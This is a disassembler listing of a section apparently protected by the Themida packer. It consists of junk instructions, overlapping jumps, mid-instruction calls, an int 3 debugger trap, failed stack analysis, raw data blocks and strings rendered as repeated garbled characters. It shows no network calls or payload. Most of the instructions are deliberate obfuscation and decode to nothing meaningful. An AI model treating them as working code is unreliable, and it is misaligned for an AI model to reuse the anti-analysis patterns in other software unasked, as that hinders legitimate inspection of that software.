		add	bx, 0D31Dh
		or	ecx, 6766D1Bh
		mov	dx, 0DD1h
		mov	eax, 26404E6Bh
		jmp	loc_611195
; ---------------------------------------------------------------------------
		dw 7BF0h
		dd 10747925h, 0F05CD6Ch, 0DCB35FDBh
		db 9Ah
; ---------------------------------------------------------------------------


loc_611195:				; CODE XREF: Themida_:00611181j
		jmp	loc_6111A5
; ---------------------------------------------------------------------------
		dw 3EBFh
		dd 0AB6C4697h, 7C0A5E94h
; ---------------------------------------------------------------------------
		movsb


loc_6111A5:				; CODE XREF: Themida_:loc_611195j
		sbb	esi, 45E3831Dh
		add	dl, 2Dh
		mov	ch, 66h
		pusha
		cmc
		mov	cx, bx
		popa
		or	ax, 0ECD5h
		jmp	loc_6111D2
; ---------------------------------------------------------------------------
		dd 9448E619h, 96231185h, 86F476A1h, 8707AD9Ah
		db 4Fh,	0E5h
; ---------------------------------------------------------------------------


loc_6111D2:				; CODE XREF: Themida_:006111BBj
		mov	al, 0Ch
		sbb	al, 2Dh
		movzx	edx, cx
		jmp	loc_6111F3
; ---------------------------------------------------------------------------
		or	dl, [ebx]
		pop	ds
		add	edi, eax
		pop	ebp
		add	ebx, [esi]
		add	bl, 0B1h
		pop	ss
		xchg	eax, edx
		cmpsd
		movsb
		sal	byte ptr [eax+7Fh], 63h


loc_6111F3:				; CODE XREF: Themida_:006111DAj
		jbe	loc_6111FC
		or	dh, 0D1h


loc_6111FC:				; CODE XREF: Themida_:loc_6111F3j
		jbe	loc_611205
		movzx	eax, si


loc_611205:				; CODE XREF: Themida_:loc_6111FCj
		jl	loc_61120C
		stc


loc_61120C:				; CODE XREF: Themida_:loc_611205j
		jmp	loc_61121E
; ---------------------------------------------------------------------------
		db 36h,	25h, 0F6h
		dd 0B521A966h, 15A525EFh
		db 8Dh,	7Bh
; ---------------------------------------------------------------------------


loc_61121E:				; CODE XREF: Themida_:loc_61120Cj
		pusha
		jg	loc_611228
		adc	bl, 0E9h


loc_611228:				; CODE XREF: Themida_:0061121Fj
		movsx	ebx, bx
		popa
		push	edi
		or	bh, 0C7h
		pop	esi
		sub	ecx, 0CCC76E7h
		pusha
		call	near ptr loc_611250+1
		bound	edx, [ecx]
		add	cl, [ecx-5169B90Fh]
		xchg	eax, ebp
		mov	[edx-48h], eax
		pop	ebp
		out	dx, al
		test	eax, 0FDCF11F9h	; CODE XREF: Themida_:0061126Fj


loc_611250:				; CODE XREF: Themida_:00611238p
		jmp	near ptr 5B28D164h
; ---------------------------------------------------------------------------
		clc
		popa
		stc
		jmp	loc_61126A
; ---------------------------------------------------------------------------
		db 0A6h, 82h, 66h
		dd 0D987C1BDh, 0A0DDAB43h
		db 47h,	0E9h
; ---------------------------------------------------------------------------


loc_61126A:				; CODE XREF: Themida_:00611258j
		call	sub_611278
		db	64h
		jz	short near ptr loc_61124B+4
		and	edi, 54h
		or	esp, 6Ch

; =============== S U B	R O U T	I N E =======================================



sub_611278	proc near		; CODE XREF: Themida_:loc_61126Ap
		pop	ecx
		mov	edi, 21426B0Fh
		add	si, 0B227h
		jnz	$+6
		mov	cl, bh
		call	near ptr loc_611293+3
		pop	esi
		jge	short near ptr loc_6112A1+2


loc_611293:				; CODE XREF: sub_611278+13p
		call	dword ptr [eax-3D7E9950h]
sub_611278	endp ; sp-analysis failed

		sti
		db	65h
		pop	edx
		add	di, 1BB6h


loc_6112A1:				; CODE XREF: sub_611278+19j
		mov	dx, 0DDFDh
		jg	loc_6112AF
		pusha
		pusha
		popa
		popa


loc_6112AF:				; CODE XREF: Themida_:006112A5j
		jmp	loc_6112BD
; ---------------------------------------------------------------------------
		dd 0E0AC5C97h, 1E860064h
; ---------------------------------------------------------------------------
		lodsd


loc_6112BD:				; CODE XREF: Themida_:loc_6112AFj
		push	eax
		jb	loc_6112C7
		add	ch, 57h


loc_6112C7:				; CODE XREF: Themida_:006112BEj
		pop	eax
		mov	ecx, edi
		push	ecx
		push	ecx
		mov	cx, 212Ah
		pop	esi
		pop	esi
		sbb	dx, 87BFh
		jmp	loc_6112E5
; ---------------------------------------------------------------------------
		dd 4557F24Ah, 0C62586A9h
		db 31h
; ---------------------------------------------------------------------------


loc_6112E5:				; CODE XREF: Themida_:006112D7j
		mov	dx, 81AFh
		push	edx
		jno	loc_611301
		jmp	loc_611301
; ---------------------------------------------------------------------------
		std
		sbb	edi, 1684F197h
		mov	esi, 0D24F7EFFh


loc_611301:				; CODE XREF: Themida_:006112EAj
					; Themida_:006112F0j
		pop	eax
		mov	dx, 3F61h
		jmp	loc_611315
; ---------------------------------------------------------------------------
		mov	ah, [eax]
		pop	eax
		test	[edi+4EE63791h], cl
		inc	edx


loc_611315:				; CODE XREF: Themida_:00611306j
		sub	edx, 10DA9AD2h
		movsx	edx, ax
		ja	loc_611336
		jmp	loc_611336
; ---------------------------------------------------------------------------
		db 0F4h, 0, 0F6h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0B2h, 0C6h, 40h
		dd 1D30FF70h
		db 7Dh,	0EDh
; ---------------------------------------------------------------------------


loc_611336:				; CODE XREF: Themida_:0061131Ej
					; Themida_:00611324j
		jp	loc_61133F
		movzx	ebx, di


loc_61133F:				; CODE XREF: Themida_:loc_611336j
		mov	esi, 23A1597Ah
		clc
		mov	di, 687Eh
		jmp	loc_611357
; ---------------------------------------------------------------------------
		dw 0DA0Ch
		dd 28413722h
		db 0FAh, 5Ah, 0D1h
; ---------------------------------------------------------------------------


loc_611357:				; CODE XREF: Themida_:00611349j
		mov	bh, 89h
		mov	si, ax
		jmp	loc_611371
; ---------------------------------------------------------------------------
		db 36h,	0E6h, 5Fh
		dd 51BB75D4h, 2C64BC22h, 843AB859h
; ---------------------------------------------------------------------------
		popa


loc_611371:				; CODE XREF: Themida_:0061135Cj
		mov	di, dx
		push	esi
		jmp	loc_61137F
; ---------------------------------------------------------------------------
		mov	ebx, 4C389DA2h


loc_61137F:				; CODE XREF: Themida_:00611375j
		pop	eax
		call	near ptr loc_611389+3
		arpl	[esi], si
		dec	esi
		xchg	eax, edx


loc_611389:				; CODE XREF: Themida_:00611380p
		mov	eax, 5AF9AF0Dh
		pusha
		jle	loc_611399
		mov	dx, 30C4h


loc_611399:				; CODE XREF: Themida_:0061138Fj
		xor	bx, 0FC1Bh
		popa
		movsx	esi, di
		sbb	bh, 64h
		jmp	loc_6113B8
; ---------------------------------------------------------------------------
		setalc
		cmpsd
		sub	al, dl
		retf	4704h
; ---------------------------------------------------------------------------
		popf
		or	esp, ebp
		add	edi, esi
		cmp	[esi], eax


loc_6113B8:				; CODE XREF: Themida_:006113A5j
		jge	loc_6113D6
		jmp	loc_6113D6
; ---------------------------------------------------------------------------
		db 0F1h
		dd 0EF18B2BDh, 7499A94Eh, 72635F0h, 6C7DC276h
		db 48h,	2Ah
; ---------------------------------------------------------------------------


loc_6113D6:				; CODE XREF: Themida_:loc_6113B8j
					; Themida_:006113BEj
		mov	dl, 7Dh
		pusha
		sbb	ax, 8555h
		sbb	eax, 6BA3345Fh
		popa
		xor	dx, 0E257h
		jl	loc_6113F6
		xor	ecx, 1A007D65h


loc_6113F6:				; CODE XREF: Themida_:006113EAj
		push	eax
		call	sub_611403
		sbb	[edi+1Bh], bh
		xchg	eax, ecx
		sub	esi, ebp
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_611403	proc near		; CODE XREF: Themida_:006113F7p
		cmc
		pop	ecx
		pop	edi
		mov	edx, edi
		push	ecx
		pop	esi
		js	loc_611414
		mov	ax, 68E7h


loc_611414:				; CODE XREF: sub_611403+7j
		push	edi
		sbb	cx, 0F000h
		pop	edx
		jmp	loc_61142A
; ---------------------------------------------------------------------------
		dd 28B2AD87h, 1E06CE35h
		db 2Dh,	91h
; ---------------------------------------------------------------------------


loc_61142A:				; CODE XREF: sub_611403+18j
		add	edi, 7DDB52CBh
		call	near ptr loc_611442+2
		xor	eax, 0D42E3438h
		or	cl, [edx+4E432BFh]
		sub	[esi], edx


loc_611442:				; CODE XREF: sub_611403+2Dp
		or	[ebx-46h], esi
sub_611403	endp ; sp-analysis failed

		loopne	near ptr loc_61147A+3
		xor	[ebx+59h], eax
		add	cl, 2Bh
		push	ecx
		mov	cx, 0A02Fh
		pop	edx
		call	near ptr loc_611464+3
		sub	byte ptr [edi+6B4F8DA1h], 40h
		out	dx, eax
		inc	esi
		jz	short loc_61146A
		movsb


loc_611464:				; CODE XREF: Themida_:00611453p
		mov	al, ds:8B596504h
		cli


loc_61146A:				; CODE XREF: Themida_:00611461j
		mov	ecx, edi
		jmp	loc_611477
; ---------------------------------------------------------------------------
		db 94h,	2Ch, 29h
		db 6Eh,	0CFh, 70h
; ---------------------------------------------------------------------------


loc_611477:				; CODE XREF: Themida_:0061146Cj
		movzx	edi, si


loc_61147A:				; CODE XREF: Themida_:00611445j
		and	eax, 42D9499Eh
		mov	cx, 4984h
		mov	dx, 0C1BFh
		clc
		mov	dx, 0AEB0h
		movzx	esi, si
		xor	si, 0B525h
		mov	cx, ax
		jmp	loc_6114A7
; ---------------------------------------------------------------------------
		db 8Fh,	0A8h, 5Ah
		dd 0FE33CF27h
		db 0E9h, 42h, 58h
; ---------------------------------------------------------------------------


loc_6114A7:				; CODE XREF: Themida_:00611498j
		movsx	ebx, dx
		mov	eax, 5215676Eh
		jg	loc_6114C4
		push	edi
		call	near ptr loc_6114C1+1
		sbb	[ebp+5A324D2Ah], edi


loc_6114C1:				; CODE XREF: Themida_:006114B6p
		sbb	[ecx+5Bh], ebx


loc_6114C4:				; CODE XREF: Themida_:006114AFj
		mov	edi, 40257175h
		call	sub_6114DF
		mov	eax, ds:1A9C8C6Ch
		int	3		; Trap to Debugger
		jnz	short near ptr byte_611519
		cmpsd
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0C85916Dh
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_6114DD:				; CODE XREF: Themida_:loc_6114DDj
		jg	short loc_6114DD

; =============== S U B	R O U T	I N E =======================================



sub_6114DF	proc near		; CODE XREF: Themida_:006114C9p
		call	near ptr loc_6114F1+4
		lodsd
		imul	eax, [ebp-75h],	0EF79AEF2h
		cdq
		add	al, cl
		sahf
		inc	esp


loc_6114F1:				; CODE XREF: sub_6114DFp
		bound	ebx, [eax-7BF0580Fh]
sub_6114DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 59000000h, 0F18B6658h, 9E9h,	4EFE3E00h, 0F40132CAh
		dd 0B7F5A38Bh, 3265B958h, 12E83FE8h
		db 0
byte_611519	db 2 dup(0), 70h	; CODE XREF: Themida_:006114D4j
		dd 98B35BE2h, 0ACC8138h, 159D4132h, 579E1275h, 12E981h
		dd 27450000h, 0B4480660h, 58EC7BC9h, 0CB375C30h, 46A186EDh
		dd 118F0F5Ah, 0E9000000h, 0Ch, 54394C70h, 0F23C51ADh, 0B0CE3709h
		dd 0C3816656h, 605E41BAh, 61DFB70Fh, 0DA16BA66h, 80CA8166h
		dd 0EE80Eh, 0A6B0000h, 0E0335E7h, 0D39B7B9Eh, 1613B3C4h
		dd 74EE8160h, 523FDF0Dh, 665A6158h, 0B9E2C4BAh,	4B11C839h
		dd 0CE9h, 2BAE800h, 29F714E4h, 6E83EE37h, 0BE8C1h, 6070000h
		dd 0DA4A5C35h, 0DA178970h, 12E93Bh, 715D0000h, 17A04D00h
		dd 5C1CBBBh, 658328Bh, 207F37F0h, 810FF958h, 4,	5AF18B52h
		dd 0A832BA66h, 0BEC2C381h, 80600BB1h, 0BF0F06EEh, 0DE8161F6h
		dd 2C1C0F46h, 0EE8h, 70449400h,	13E31FB3h, 87B5C906h, 0E9AD340Dh
		dd 10h,	9D788C7h, 0D220C422h, 7278D211h, 0D0861AFEh, 815A505Eh
		dd 57EEA9DFh, 6E822h, 9F060000h, 62E5482Dh, 0BE85Fh, 832C0000h
		dd 9DF9ED24h, 0CD04C81Dh, 0E3B1588Dh, 9E9h, 0A8C4EA00h
		dd 0FF82A9B9h, 0FE85012h, 59000000h, 2872CA8Eh,	5ACF78F5h
		dd 8A042F94h, 81664469h, 5F51B3E1h, 10E9h, 0EAE99600h
		dd 6CF055E7h, 610B39ADh, 0BB8444E8h, 0BE85326h,	0F8000000h
		dd 9AAF878h, 0FB22369Fh, 5850323Dh, 0EA8A585Ah,	5B82DE81h
		dd 8B666E74h, 0BF0F60D7h, 4D480D7h, 0F2816661h,	0F8608FECh
		dd 0FED4BF61h, 0B8603308h, 2D415F80h, 3800Fh, 8B660000h
		dd 860F61DEh, 0Bh, 5840Fh, 81660000h, 0FA592E7h, 289h
		dd 6084B600h, 0B7F9B70Fh, 0BF0F611Dh, 14E9C3h, 5F1F0000h
		dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 8166279Ch
		dd 0E93E0AE0h, 13h, 52152892h, 66EF60C6h, 4A2A6800h, 982215B8h
		dd 5753DEB1h, 0FE9h, 59B26400h,	78477916h, 0EA02B811h
		dd 9CB89B42h, 97BF665Eh, 91BE566Bh, 4B5h dup(91BE5674h)
		dd 0C4h	dup(0B69A866Dh)
dword_612D20	dd 0Eh dup(0B69A866Dh)		db 6Dh
byte_612D59	db 86h,	9Ah, 0B6h	; DATA XREF: Themida_:00582D28o
					; Themida_:005847C8o ...
		dd 1219736Dh, 6Bh dup(12197364h), 0EA54FA64h, 2	dup(0EA54FA2Ah)
		dd 0A3DDFA2Ah, 116h dup(0A3DDB462h), 1Fh dup(242664EBh)
		dd 0DCDFE9EBh, 1C6h dup(0DCDFEAA5h)
aEEEEEEEEEEEEEE	db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
					; DATA XREF: Themida_:005A9992o
		db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
		db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
		db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
		db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
		db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
		db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
		db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
		db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
		db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
		db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
		db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
		db '₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯'
		db 'κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κ'
		db 'ίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κί'
		db 'ά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά₯κίά'
		db '₯κίά₯κίά₯κίά₯κίά₯κΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
